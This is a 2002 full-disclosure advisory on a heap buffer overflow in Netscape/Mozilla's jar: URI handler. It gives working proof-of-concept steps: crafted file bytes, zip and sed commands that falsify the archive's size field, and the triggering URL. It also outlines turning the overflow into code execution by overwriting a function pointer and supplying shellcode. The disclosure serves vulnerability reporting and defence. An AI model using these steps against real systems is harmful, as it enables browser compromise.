The following is the text of an advisory (with a couple of typos fixed) 
that was sent to Netscape in early July.
(-rw-r--r--    1 root     root         3210 Jul  8 17:07 jar-writeup)

This was one a several vulnerabilities reported in Netscape/Mozilla over 
that period. (Others included the previously posted zero-width gif 
problem, and PNG vulnerabilities.)

http://bugzilla.mozilla.org/show_bug.cgi?id=157646
This page shows that the bug was opened on 2002-07-15 18:54

(May not be accessible.)

I think 4 months is definately long enough to wait before disclosure.

=====

Exploitable heap corruption via jar: URI handler.

Create a file, called test.gif with the following 6 'int's in it.

0x2d6e657a,0x65726568,
0x00000000,0x00000000,
0xdeadbeef,0xfee1600d

$ zip orig.jar test.gif
  adding: test.gif (deflated 17%)
$ unzip -v orig.jar
Archive:  orig.jar
 Length   Method    Size  Ratio   Date   Time   CRC-32    Name
--------  ------  ------- -----   ----   ----   ------    ----
      24  Defl:N       20  17%  07-08-02 16:11  b74deafe  test.gif
--------          -------  ---                            -------
      24               20  17%                            1 file
$ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar
$ unzip -v new.jar 
Archive:  new.jar
 Length   Method    Size  Ratio   Date   Time   CRC-32    Name
--------  ------  ------- -----   ----   ----   ------    ----
       1  Defl:N       20 -1900%  07-08-02 16:11  b74deafe  test.gif
--------          -------  ---                            -------
       1               20 -1900%                            1 file
$ cp new.jar ~/public_html

(This file only contains the 2 0x18s (24s) representing the realsize, so
it works ok on this file. Actual exploit file was created with a hex 
editor.)


In Netscape open:

   jar:http://host/~username/new.jar!/test.gif


The jar file is retrieved, the requested file is found...
...
584   //-- Read the item into memory
585   //   Inflate if necessary and save in mInflatedFileBuffer
586   //   for sequential reading.
587   //   (nsJAR needs the whole file in memory before passing it on)
588   char* buf = (char*)PR_Malloc(item->realsize);
589   if (!buf) return ZIP_ERR_MEMORY;
590   switch(item->compression)
591   {
592     case DEFLATED:
593       result = InflateItem(item, 0, buf);
594       break;
...
A buffer is allocated for storing the data. The realsize value is used for
the length. (Size 1 actually allocates 8 bytes, hence the padding.)
The buf is the passed to the inflater.
...
1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem* aItem, PRFileDesc* fOut,
1269                                    char* bigBuf )
...
as bigBuf. Some temporary storage is made, and a chunk of decompression done.
...
1382       {
1383         //-- copy inflated buffer to our big buffer
1384         // Assertion makes sure we don't overflow bigBuf
1385         PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize);
1386         char* copyStart = bigBuf + outpos;
1387         memcpy(copyStart, outbuf, ZIP_BUFLEN);
1388       } 
...
The assertion doesn't fire. It should probably be made into a normal 
check as
well.

We now have a heap based buffer overflow.

At some point in the future, chunk_free() is called, and a SEGV will occur
with while referencing the values 0xdeadbeef and 0xfee1600d.

If these are replaced with (address of a function pointer)-12 and (address
of user supplied code), when the function pointer is called, the user
supplied code will execute.

I have successfully changed the flow of control in tests, by overwriting
the function pointer for PR_Free in the global offset table of libsnpr4.so.

"Shellcode" can be supplied in a previously loaded image. (A large area
can be filled using compressed image files stored in a .jar as the source.)

======


-- zen-parse

-- 
-------------------------------------------------------------------------
1) If this message was posted to a public forum by zen-parse@gmx.net, it 
may be redistributed without modification. 
2) In any other case the contents of this message is confidential and not 
to be distributed in any form without express permission from the author.



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html